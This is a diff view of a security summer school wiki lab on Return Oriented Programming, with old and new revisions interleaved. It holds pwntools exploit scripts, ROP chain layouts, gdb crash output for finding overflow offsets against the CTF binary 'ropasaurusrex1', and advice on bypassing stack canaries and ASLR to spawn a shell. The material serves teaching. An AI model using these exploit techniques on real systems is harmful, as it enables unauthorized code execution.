User Tools

Site Tools


session:12

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
session:12 [2017/07/02 11:14]
Laura-Cristina RUSE (23439) removed
session:12 [2020/07/20 17:34] (current)
Liza-Elena BABU (78556) [1. Challenge: Using ROP to Leak and Call system()]
Line 1: Line 1:
-= 0x0B. Return Oriented Programming+====== 0x0B. Return Oriented Programming (advanced) ======
  
-== Slides+===== Slides =====
  
-[[http://security.cs.pub.ro/summer-school/res/slides/11-return-oriented-programming.pdf|Slides]]+[[https://security.cs.pub.ro/summer-school/res/slides/12-return-oriented-programming-advanced.pdf|Session 12 slides]]
  
-== Tutorials +[[https://security.cs.pub.ro/summer-school/res/arc/12-return-oriented-programming-advanced-skel.zip|Session's tutorials and challenges archive]]
  
-=== Quick Overview of Protection Mechanisms+[[https://security.cs.pub.ro/summer-school/res/arc/12-return-oriented-programming-advanced-full.zip|Session's solutions]]
  
-Since we have already covered most of the state of the art protection mechanisms against exploitation on Linux let's go over them one more time.+===== Setup =====
  
-To apply reconnaisance on a given binary it is best to use the [[ http://www.trapkit.de/tools/checksec.sh checksec.sh ]] helper script. +The ROPgadget version installed in the [[start|Kali virtual machine]] needs to be upgraded to work properlyPlease use the command below (as ''root'') before starting this session and using ROPgadget
-Let's apply it on a random binary+<code> 
-<code sh+pip install --upgrade ropgadget
-# checksec.sh --file ./test +
-RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE +
-No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   ./a+
 </code> </code>
  
-  * NX, as we have seen, typically applies to the stack: whether or not we can place shellcode on the stack and return to it. +In order to check if ''ROPgadget'' works properly, use 
-  * Stack Canary refers to the guard value placed right before the return address that is tested in the sanity check at the epilogue of a function against stack smashing. +<code> 
-  * PIE (Position Independent Executable) refers to binaries compiled in position independent mode. In these cases even the binary image is randomly offset (not at the usual 0x08048000). +ROPgadget --binary /bin/false 
-  * RELRO refers to the writability of the GOT section. More details [[http://tk-blog.blogspot.ro/2009/02/relro-not-so-well-known-memory.html | here]]+</code>
  
-Of course, to be able to use PIE the kernel needs to have ASLR support compiled in and enabled.+===== Tutorials =====
  
-<code bash> +In this lab we are going to dive deeper into ROP (//Return Oriented Programming//) and setbacks that appear in modern exploitationTopics covered: 
-# checksec.sh --proc-all | head +  Intro to pwntools 
-System-wide ASLR (kernel.randomize_va_space): On (Setting: 2)+  * ROP Recap 
 +  * Dealing with ASLR in ROP in ways 
 +  * Dealing with low space in the overflown buffer 
 +  * Dealing with bare bones executables 
 +  * ROP for syscalls and 64 bits
  
-  Description - Make the addresses of mmap base, heap, stack and VDSO page randomized. +As the basis of the lab we will use a CTF challenge called **ropasaurusrex** and gradually make exploitation harder.
-  This, among other things, implies that shared libraries will be loaded to random  +
-  addresses. Also for PIE-linked binaries, the location of code start is randomized.+
  
-  See the kernel file 'Documentation/sysctl/kernel.txt' for more details.+==== Calling Conventions in the ROP Context ====
  
-* Does the CPU support NXYes+As you know, the [[:session:02#function-calls|calling convention for 32 bits]] uses the stack. This means that setting up parameters is as easy as just writing them in the payload.
  
-</code>+In the images below we are using the [[https://gcc.godbolt.org/|online Compiler Explorer]].
  
 +{{ :session:32_func.png?direct |}}
  
-In exploitation it is important to gauge your efforts:  +Syscalls are special, the arguments are passed using the registers and **int 0x80** or the equivalent **call DWORD PTR gs:0x10** is used such that more work is needed: "pop ?; ret" gadgets are needed to load the registers with the desired values.
-  if every protection mechanism is disabled you shouldn't try advanced exploit methods: stick to shellcode-on-stack methods. +
-  if you see Canary values check all the leaf functions to see if the compiler missed anything. If not, then check for an information leak (to read its value) or an arbitrary write (to overwrite the original one in the TLS at gs:0x14). Otherwise, see if you can overwrite anything useful __before__ the guard value (variables that affect code flow such as function pointers) +
-  * when encountering ASLR remember that on 32 bits it's pretty easy to bypass using bruteforce methodsAlso remember that the executable image is fixed (if PIE is not enabled) so you might be able to reuse parts of it+
  
 +In the listing below you see a disassembly of the calling of a system call, with the system call in the ''eax'' register and the system call arguments in the other registers.
  
 +<code asm>
 +# See man 2 syscall
  
-=== Return Oriented Programming+gdb-peda$ pdis syscall 
 +Dump of assembler code for function syscall: 
 +   0x000e39e0 <+0>: push   ebp 
 +   0x000e39e1 <+1>: push   edi 
 +   0x000e39e2 <+2>: push   esi 
 +   0x000e39e3 <+3>: push   ebx 
 +   0x000e39e4 <+4>: mov    ebp,DWORD PTR [esp+0x2c] 
 +   0x000e39e8 <+8>: mov    edi,DWORD PTR [esp+0x28] 
 +   0x000e39ec <+12>: mov    esi,DWORD PTR [esp+0x24] 
 +   0x000e39f0 <+16>: mov    edx,DWORD PTR [esp+0x20] 
 +   0x000e39f4 <+20>: mov    ecx,DWORD PTR [esp+0x1c] 
 +   0x000e39f8 <+24>: mov    ebx,DWORD PTR [esp+0x18] 
 +   0x000e39fc <+28>: mov    eax,DWORD PTR [esp+0x14] 
 +   0x000e3a00 <+32>: call   DWORD PTR gs:0x10 
 +   0x000e3a07 <+39>: pop    ebx 
 +   0x000e3a08 <+40>: pop    esi 
 +   0x000e3a09 <+41>: pop    edi 
 +   0x000e3a0a <+42>: pop    ebp 
 +   0x000e3a0b <+43>: cmp    eax,0xfffff001 
 +   0x000e3a10 <+48>: jae    0xe3a13 <syscall+51> 
 +   0x000e3a12 <+50>: ret 
 +</code>
  
-{{ :session:rop.png?nolink&600 |}}+The same happens for 64 bit function calls: 
 +{{ :session:64_func.png?direct |}}
  
-==== Motivation +Syscalls on 64 bits are similar. The ''syscall'' mnemonic is used for making a system call.
-In the previous sessions we discussed ''ret2libc'' attacks. The standard attack was to overwrite in the following way: +
-<code> +
-RET + 0x00:   addr of system +
-RET + 0x04:   JUNK +
-RET + 0x08:   address to desired command (e.g. '/bin/sh'+
-</code>+
  
-However, what happens when you need to call multiple functions? Say you need to call f1() and then f2(0xAB, 0xCD)? The payload should be: +<code asm
-<code> +gdb-peda$ pdis syscall 
-RET + 0x00  addr of f1 +Dump of assembler code for function syscall
-RET 0x04:   addr of f2 (return address after f1 finishes) +   0x00000000000e4ac0 <+0>: mov    rax,rdi 
-RET 0x08:   JUNK (return address after f2 finisheswe don't care about what happens after the 2 functions are called) +   0x00000000000e4ac3 <+3>: mov    rdi,rsi 
-RET 0x0c  0xAB (param1 of f2) +   0x00000000000e4ac6 <+6>: mov    rsi,rdx 
-RET + 0x10:   0xCD (param2 of f2) +   0x00000000000e4ac9 <+9>: mov    rdx,rcx 
-</code> +   0x00000000000e4acc <+12>: mov    r10,r8 
-What about if we need to call f1(0xAB0xCD) and then f2(0xEF, 0x42) ? +   0x00000000000e4acf <+15>: mov    r8,r9 
-<code> +   0x00000000000e4ad2 <+18>: mov    r9,QWORD PTR [rsp+0x8] 
-RET + 0x00  addr of f1 +   0x00000000000e4ad7 <+23>: syscall
-RET 0x04  addr of f2 (return address after f1 finishes) +
-RET 0x08:   0xAB (param1 of f1)   +
-RET + 0x0c:   0xCD (param2 of f1)  but this should also be 0xEF (param1 of f2) +
-RET 0x10  0x42 (param2 of f2) +
 </code> </code>
  
-This kind of conflict can be resolved using Return Oriented Programming, a generalization of ''ret2libc'' attacks. 
  
-==== NOP analogy +==== Intro to pwntools ====
-While ''ret2libc'' uses functions directly, Return Oriented Programming uses a finer level of code execution: instruction groups. +
-Let's explore an example: +
-<code c> +
-int main() +
-+
- char a[16]; +
- read(0, a, 100);+
  
- return 0; +Writing exploits in command line using expressions such as the following is prone to errors: 
-}+ 
 +<code sh> 
 +echo "AAAAAAAAAAAAAAAAAA\x43\x2a\x04\x08\x43\x2a\x04\x08\x43\x2a\x04\x08" | ./vuln
 </code> </code>
-This code obviously suffers from a stack buffer overflow. The offset to the return address is 28. So dwords from offset 28 onwards will be popped from the stack and executed. 
-Remember the NOP sled concept from previous sessions? These were long chains of NOP instructions ("\x90") used to pad a payload for alignment purposes. 
-Since we can't add any new code to the program (NX is enabled) how could we simulate the effect of a NOP sled? Easy! Using return instructions! 
-<code bash> 
-# objdump  -d a -M intel | grep $'\t'ret 
- 80482dd: c3                    ret     
- 804837a: c3                    ret     
- 80483b7: c3                    ret     
- 8048437: c3                    ret     
- 8048444: c3                    ret     
- 80484a9: c3                    ret     
- 80484ad: c3                    ret     
- 80484c6: c3                    ret     
-</code> 
-Any and all of these addresses will be ok. The payload could be the following: 
-<code> 
-RET + 0x00:   0x80482dd 
-RET + 0x04:   0x80482dd 
-RET + 0x08:   0x80482dd 
-RET + 0x0c:   0x80482dd 
-RET + 0x10:   0x80482dd 
-..... 
-</code> 
-The original ret (in the normal code flow) will pop RET+0x00 off the stack and jump to it. When it gets popped the stack is automatically increased by 4 (on to the next value). The instruction at ''0x80482dd'' is another ''ret'' which does the same thing as before. This goes on until another address is popped off the stack that is not a ''ret''. 
  
-That payload is not the only option. We don't really care which ''ret'' we pick. The payload could very well look like this+Writing the equivalent in Python is much simpler and more portable
-<code> +<code python
-RET + 0x00:   0x80482dd +gadget = 0x08042a43 
-RET 0x04:   0x804837a +print "A" * 20 struct.pack("<I", gadget)*3
-RET + 0x08:   0x80483b7 +
-RET + 0x0c:   0x8048437 +
-RET + 0x10:   0x80484c6 +
-.....+
 </code> </code>
-Notice the addresses are different but because they all point to a ''ret'' instruction they will all have the same net effect on the code flow. 
  
-<note warning> +However, exploitation rarely requires only static payloadASLR usually makes the exploit developer work harder and first obtain an info leak and then readjust the payload for that specific memory layout instanceTo this end, some frameworks come to your aid to make life simpler. As seen in the previous sessions, [[http://pwntools.com/|pwntools]] is intended to make exploit writing as simple as possible and today we will focus on the following features: 
-Take moment to fully understand what is happening hereRun your own program and step through the payload to see this in action before proceeding. +  * local exploitation remote exploitation: https://github.com/binjitsu/tutorial/blob/master/tubes.md 
-Follow along using this skeleton to generate the payloads+  * auto gdb attach: http://docs.pwntools.com/en/stable/gdb.html 
-</note> +  * rop gadget search rop chain assembly 
-<file python skel.py> +  * shellcode generation: http://docs.pwntools.com/en/stable/shellcraft.html 
-#!/usr/bin/python +  * plenty other
-import struct, sys+
  
-def dw(i): +Without using the advanced capabilities of pwntools a common exploit skeleton would look like the following:
- return struct.pack("<I", i)+
  
-#TODO update count for your prog +<code python> 
-pad_count_to_ret = 100 +from pwn import *
-payload = "X" pad_count_to_ret+
  
-#TODO figure out the rop chain +local True
-payload +dw(0xcafebeef) +
-payload += dw(0xdeadc0de)+
  
 +if not local:
 + HOST = "host.name"
 + PORT = 4242
 + io = remote(HOST, PORT)
 +else:
 + io = process("./vuln_binary")
  
-sys.stdout.write(payload) 
  
-</file> 
  
 +#write exploit
 +ropchain = p32(system) + "JUNK" + p32(bin_sh)
 +payload = "A" * 42 + p32(ebp) + ropchain
  
-==== Gadgets & ROP chains +#interact with the service 
-Now that we have a sort of neutral primitive equivalent to a NOP let's actually do something useful. +io.recvuntil("What is your name?\n")
-The building blocks of ROP payloads are called gadgets. These are blocks of instructions that end with a 'ret' instruction. +
-Here are some 'gadgets' from the previous program: +
-<code> +
-0x8048443: pop ebp; ret +
-0x80484a7: pop edi; pop ebp; ret +
-0x8048441: mov ebp,esp; pop ebp; ret +
-0x80482da: pop eax; pop ebx; leave; ret +
-0x80484c3: pop ecx; pop ebx; leave; ret +
-</code>+
  
-By carefully stitching such gadgets on the stack we can bring code execution to almost any context we want. +#trigger 
-As an example let's say we would like to load 0x41424344 into eax and 0x61626364 into ebxThe payload should look like: +io.sendline(payload)
-<code> +
-RET + 0x00:   0x80482da  (pop eax; pop ebx; leave; ret) +
-RET + 0x04:   0x41424344 +
-RET + 0x08:   0x61626364 +
-RET + 0x0c:   0xAABBCCDD ??? +
-</code> +
-  * First the ret addr is popped from the stack and execution goes there. +
-  * At ''pop eax'' 0x41424344 is loaded into eax and the stack is increased +
-  * At ''pop ebx'' 0x61626364 is loaded into ebx and the stack is increased again +
-  * At ''leave'' two things actually happen: "mov esp, ebp; pop ebp". So the stack frame is decreased to the previous one (pointed by ebp) and ebp is updated to the one before that. So esp will now be the old ebp+4 +
-  * At ''ret'' code flow will go to the instruction pointed to by ebp+4. This implies that execution will __not__ go to 0xAABBCCDD but to some other address that may or may not be in our control (depending on how much we can overflow on the stack). If it is in our control we can overwrite that address with the rest of the ROP chain.+
  
-We have now seen how gadgets can be useful if we want the CPU to achieve a certain state. This is particularly useful on other architectures such as ARM and x86_64 where functions do not take parameters from the stack but from registers. 
-As an example, if we want to call f1(0xAB, 0xCD, 0xEF) on x86_64 we first need to know the calling convention for the first three parameters: 
-  * 1st param: RDI 
-  * 2nd param: RSI 
-  * 3rd param: RDX 
-Next we would need gadgets for each. Let's assume these 2 scenarios: 
-Scenario 1: 
-<code> 
-0x400124:  pop rdi; pop rsi; ret 
-0x400235:  pop rdx; ret 
-0x400440:  f1() 
  
-Payload: +#switch to interactive input from the user to control the opened shell 
-RET + 0x00:   0x400124 +io.interactive()
-RET + 0x08:   val of RDI (0xAB) +
-RET + 0x10:   val of RSI (0xCD) +
-RET + 0x18:   0x400235 +
-RET + 0x20:   val of RDX +
-RET + 0x28:   f1+
 </code> </code>
  
-Scenario 2+In the snippet above the following happens
-<code> +  - connect to either a local or remote process (using TCP) 
-0x400125:  pop rdi; ret +  - create the payload 
-0x400252:  pop rsi; ret +  - interact with the process using ''recvuntil'' and ''sendline'' functions
-0x400235:  pop rdx; ret +
-0x400440:  f1()+
  
-Payload: +==== Challenge 0 walkthrough ====
-RET + 0x00:   0x400125 +
-RET + 0x08:   val of RDI (0xAB) +
-RET + 0x10:   0x400252 +
-RET + 0x18:   val of RSI (0xCD) +
-RET + 0x20:   0x400235  +
-RET + 0x28:   val of RDX +
-RET + 0x30:   f1 +
-</code> +
-Notice that because the architecture is 64 bits wide, the values on the stack are not dwords but qwords (quad words: 8 bytes wide)+
  
 +Let's do a walkthrough/tutorial to work with the basic functionality of pwntools. We will use the first task and identify the vulnerability and write an exploit. For that change to the ''challenge-01/'' subfolder, and exploit the ''ropasaurusrex1'' executable in order to overflow the saved EBP, EIP and write the string //ELF// to standard output.
  
-The second use of gadgets is to clear the stack. Remember the issue we had in the **Motivation** section? Let's solve it using gadgets. +First we need to look in the binary and observe the stack buffer overflow:
-We need to call f1(0xAB, 0xCD) and then f2(0xEF, 0x42). Our initial solution was:+
 <code> <code>
-RET + 0x00:   addr of f1 +# objdump -d -M intel ropasaurusrex1 
-RET + 0x04  addr of f2 (return address after f1 finishes) +[...] 
-RET + 0x08  0xAB (param1 of f1)   + 80483f4: 55                    push   ebp 
-RET 0x0c  0xCD (param2 of f1)  but this should also be 0xEF (param1 of f2) + 80483f5: 89 e5                mov    ebp,esp 
-RET 0x10:   0x42 (param2 of f2) + 80483f7: 81 ec 98 00 00 00    sub    esp,0x98 
 + 80483fd: c7 44 24 08 00 01 00 mov    DWORD PTR [esp+0x8],0x100 
 + 8048404: 00 
 + 8048405: 8d 85 78 ff ff ff    lea    eax,[ebp-0x88] 
 + 804840b: 89 44 24 04          mov    DWORD PTR [esp+0x4],eax 
 + 804840f: c7 04 24 00 00 00 00 mov    DWORD PTR [esp],0x0 
 + 8048416: e8 11 ff ff ff        call   804832c <read@plt> 
 + 804841b: c9                    leave 
 + 804841c: c3                    ret 
 +[...]
 </code> </code>
  
-The problem is that those parameters of f1 are getting in the way of calling f2. We need to find **pop pop ret** gadget. The actual registers are not important.+We could do computations based on assembly output, but we can make things easier by using cyclic pattern and obtain the offset to EBP:
  
-<code> +<code asm
-RET + 0x00:   addr of f1 +# gdb -q ./ropasaurusrex1 
-RET + 0x04:   addr of (pop eax, pop ebx, ret)  +Reading symbols from ./ropasaurusrex1...(no debugging symbols found)...done. 
-RET + 0x08:   0xAB (param1 of f1  +gdb-peda$ pattc 300 
-RET + 0x0c  0xCD (param2 of f1+'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%' 
-RET + 0x10  addr of f2 +gdb-peda$ run 
-RET + 0x14  JUNK +Starting program/root/12-rop/skel/task-01/ropasaurusrex1 
-RET + 0x18  0xEF (param1 of f2+AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A% 
-RET + 0x1c  0x42 (param2 of f2)  + 
-</code> +Program received signal SIGSEGV, Segmentation fault. 
-Now we can even call the next function f3 if we repeat the trick+[----------------------------------registers-----------------------------------] 
-<code+EAX0x100 
-RET + 0x00  addr of f1 +EBX0x0 
-RET + 0x04  addr of (pop eax, pop ebx, ret)  +ECX0xffffd5f0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...
-RET + 0x08  0xAB (param1 of f1  +EDX0x100 
-RET + 0x0c  0xCD (param2 of f1+ESI0x1 
-RET + 0x10:   addr of f2 +EDI: 0xf7fb0000 --0x1b3db0 
-RET + 0x14  addr of (pop eaxpop ebxret)  +EBP0x41514141 ('AAQA') 
-RET + 0x18  0xEF (param1 of f2+ESP0xffffd680 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"
-RET + 0x1c  0x42 (param2 of f2)  +EIP0x41416d41 ('AmAA'
-RET + 0x20  addr of f3+EFLAGS0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow
 +[-------------------------------------code-------------------------------------] 
 +Invalid $PC address0x41416d41 
 +[------------------------------------stack-------------------------------------] 
 +0000| 0xffffd680 ("RAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"
 +0004| 0xffffd684 ("AASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"
 +0008| 0xffffd688 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"
 +0012| 0xffffd68c ("TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"
 +0016| 0xffffd690 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"
 +0020| 0xffffd694 ("ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"
 +0024| 0xffffd698 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"
 +0028| 0xffffd69c ("AAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G"
 +[------------------------------------------------------------------------------] 
 +Legend: codedatarodata, value 
 +Stopped reasonSIGSEGV 
 +0x41416d41 in ?? () 
 +gdb-peda$ patto $ebp 
 +1095844161 found at offset136 
 + 
 +gdb-peda$ searchmem "ELF" 
 +Searching for 'ELF' in: None ranges 
 +Found 23 results, display max 23 items: 
 +ropasaurusrex1 : 0x8048001 --> 0x1464c45 
 +ropasaurusrex1 : 0x8049001 --> 0x1464c45 
 +          libc : 0xf7dfc001 --> 0x1464c45 
 +        [vdso] : 0xf7fd8001 (inc    ebp
 +[...] 
 +gdb-peda$ x/s 0x8048001 
 +0x8048001: "ELF\001\001\001"
 </code> </code>
  
 +We know the offset from the start of the buffer to the ''EBP'' address is ''136''.
  
-=== Some useful ninja tricks+an address of the //ELF// string (''0x8048001''). From the disassembly above we know the address of the ''write'' stub in PLT: ''0x0804830c''. We want to use the function to write the //ELF// string to standard output. This basically means to call ''%%write(1, "ELF", 3)%%''.
  
-==== Memory spraying +Let'use pwntools to construct the payload and exploit the executable. We create the ROP chain to call ''%%write(1"ELF"3)%%''.
-Let'take the following prog: +
-<code c> +
-int main(+
-+
-        int x,z; +
-        char a,b,c; +
-        char buf[23]; +
-        read(0, buf, 100);+
  
-        return 0; +<code python> 
-+from pwn import *
-</code>+
  
-A fairly simple overflow, right? How fast can you figure out the offset to the return address? How much padding do you need ? +local = True
-There is a shortcut that you can use to figure this out in under 30 seconds without looking at the assembly.+
  
-A [[ https://en.wikipedia.org/wiki/De_Bruijn_sequence | De Bruijn sequence ]] is a string of symbols out of a given alphabet  in which each consecutive K symbols only appear once in the whole string. If we can construct such a string out of printable characters then we only need to know the Segmentation Fault address. Converting it back to 4 bytes and searching for it in the initial string will give us the exact offset to the return address.+if not local: 
 +    HOST = "host.name" 
 +    PORT = 4242 
 +    io = remote(HOST, PORT) 
 +else: 
 +    io = process("./ropasaurusrex1")
  
-Peda can help you do this. Here's how: 
-<code bash> 
-gdb-peda$ help pattern_create  
-Generate a cyclic pattern 
-Usage: 
-    pattern_create size [file] 
  
-gdb-peda$ pattern_create 100 +# Create ROP chain.
-'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl'+
  
-gdb-peda$ help pattern_offset  +#  man 2 write
-Search for offset of a value in cyclic pattern +#     ssize_t write(int fd, const void *buf, size_t count);
-Usage+
-    pattern_offset value+
  
-gdb-peda$ pattern_offset AA8A +write_plt = 0x804830c 
-AA8A found at offset: 76+fd = 1 
 +buf = 0x08048001 
 +count = 3 
 +ropchain = p32(write_plt) + "JUNK" + p32(fd) + p32(buf) + p32(count) 
 + 
 + 
 +# Create payload. Use junk value for EBP. 
 +ebp = 0x41424344 
 +payload = "A" * 136 + p32(ebp) + ropchain 
 + 
 +# Trigger exploit by sending payload to standard input. 
 +io.sendline(payload) 
 + 
 + 
 +# Print output as hex. 
 +rop_output = io.recv(3) 
 +print hexdump(rop_output)
 </code> </code>
  
-Things can even get more complex: if you insert such patterns as input to the program you can search for signs of where it got placed using peda. Here's how to figure out the offset to the return address in 3 commands for the previous program as promised+The output is as expected
-<code bash+<code sh
-# gdb -q ./a +[+] Started program './ropasaurusrex1' 
-Reading symbols from ./a...(no debugging symbols found)...done. +00000000  45 4c 46                                            │ELF│ 
-gdb-peda$ pattern_create 200 +00000003 
-'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A' +[*] Program './ropasaurusrex1stopped with exit code -11 
-gdb-peda$ run +</code>
-AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A+
  
-Program received signal SIGSEGV, Segmentation fault. 
-[----------------------------------registers-----------------------------------] 
-EAX: 0x0  
-EBX: 0xf7f97e54 --> 0x1a6d5c  
-ECX: 0xffffcd49 ("AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl") 
-EDX: 0x64 ('d') 
-ESI: 0x0  
-EDI: 0x0  
-EBP: 0x41334141 ('AA3A') 
-ESP: 0xffffcd70 ("eAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl") 
-EIP: 0x41414541 ('AEAA') 
-EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow) 
-[-------------------------------------code-------------------------------------] 
-Invalid $PC address: 0x41414541 
-[------------------------------------stack-------------------------------------] 
-0000| 0xffffcd70 ("eAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl") 
-0004| 0xffffcd74 ("AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl") 
-0008| 0xffffcd78 ("AfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl") 
-0012| 0xffffcd7c ("5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl") 
-0016| 0xffffcd80 ("AAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl") 
-0020| 0xffffcd84 ("A6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl") 
-0024| 0xffffcd88 ("HAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl") 
-0028| 0xffffcd8c ("AA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAl") 
-0032| 0xffffcd90 ("AIAAiAA8AAJAAjAA9AAKAAkAALAAl") 
-0036| 0xffffcd94 ("iAA8AAJAAjAA9AAKAAkAALAAl") 
-0040| 0xffffcd98 ("AAJAAjAA9AAKAAkAALAAl") 
-0044| 0xffffcd9c ("AjAA9AAKAAkAALAAl") 
-0048| 0xffffcda0 ("9AAKAAkAALAAl") 
-0052| 0xffffcda4 ("AAkAALAAl") 
-0056| 0xffffcda8 ("ALAAl") 
-0060| 0xffffcdac --> 0x6c ('l') 
  
-[------------------------------------------------------------------------------] +===== Challenges =====
-Legend: code, data, rodata, value +
-Stopped reason: SIGSEGV +
-0x41414541 in ?? ()+
  
 +==== 1. Challenge: Using ROP to Leak and Call system() ====
  
 +Having completed the recap in the walkthrough above let's proceed to more advanced things. Use the ''task-01/ropasaurusrex1'' executable file and update the script above in order to spawn a shell.
  
-gdb-peda$ pattern_search  +You can now call the functions in the binary but ''system()'' or any other appropriate function is missing and ASLR is enabled. How do you get past this? You need an information leak! To leak information we want to print it to standard output and process it. We use calls to ''printf()'', ''puts()'' or ''write()'' for this. In our case we can use the ''write()'' function call.
-Registers contain pattern buffer: +
-EIP+0 found at offset: 35 +
-EBP+0 found at offset: 31 +
-Registers point to pattern buffer: +
-[ECX] --> offset 0 - size ~100 +
-[ESP] --> offset 39 - size ~61 +
-Pattern buffer found at: +
-0xffffcd49 : offset    0 - size  100 ($sp + -0x27 [-10 dwords]) +
-0xffffd1c6 : offset 23424 - size    4 ($sp + 0x456 [277 dwords]) +
-0xffffd1d8 : offset 22930 - size    4 ($sp + 0x468 [282 dwords]) +
-0xffffd276 : offset 48535 - size    4 ($sp + 0x506 [321 dwords]) +
-References to pattern buffer found at: +
-0xffffcd20 : 0xffffcd49 ($sp + -0x50 [-20 dwords]) +
-0xffffcd34 : 0xffffcd49 ($sp + -0x3c [-15 dwords])+
  
 +<note>
 +If you have a string representation of a number you can unpack it using the ''unpack()'' function in pwntools. It is the reverse of the ''p32()'' function.
 +
 +If you want to print a binary representation of a number you can use, in Python, for example
 +<code>
 +print "address: 0x%08x" % (addr)
 </code> </code>
  
- +If you want to make computations in the command line (such as subtracting an address from another address) you can usefor example 
-==== Vulnerable function identification +<code> 
-As you can see from abovethe base pointer gets trashed so backtracing is not possible +python -c 'print hex(0x0804830c - 0x08046920)'
-<code bash+
-gdb-peda$ bt +
-#0  0x41414541 in ?? () +
-#1  0x34414165 in ?? () +
-#2  0x41464141 in ?? () +
-#3  0x41416641 in ?? ()+
 </code> </code>
-If this program was larger you wouldn't know which "ret" is the last one executed before jumping into the payload. +</note>
-You can set a breakpoint on all declared functions (if the program has not been stripped) using **rbreak** and then ignoring them: +
-<code bash> +
-gdb-peda$ rbreak  +
-Breakpoint 1 at 0x80482d4 +
-<function, no debug info> _init; +
-Breakpoint 2 at 0x8048310 +
-<function, no debug info> read@plt; +
-Breakpoint 3 at 0x8048320 +
-<function, no debug info> __gmon_start__@plt; +
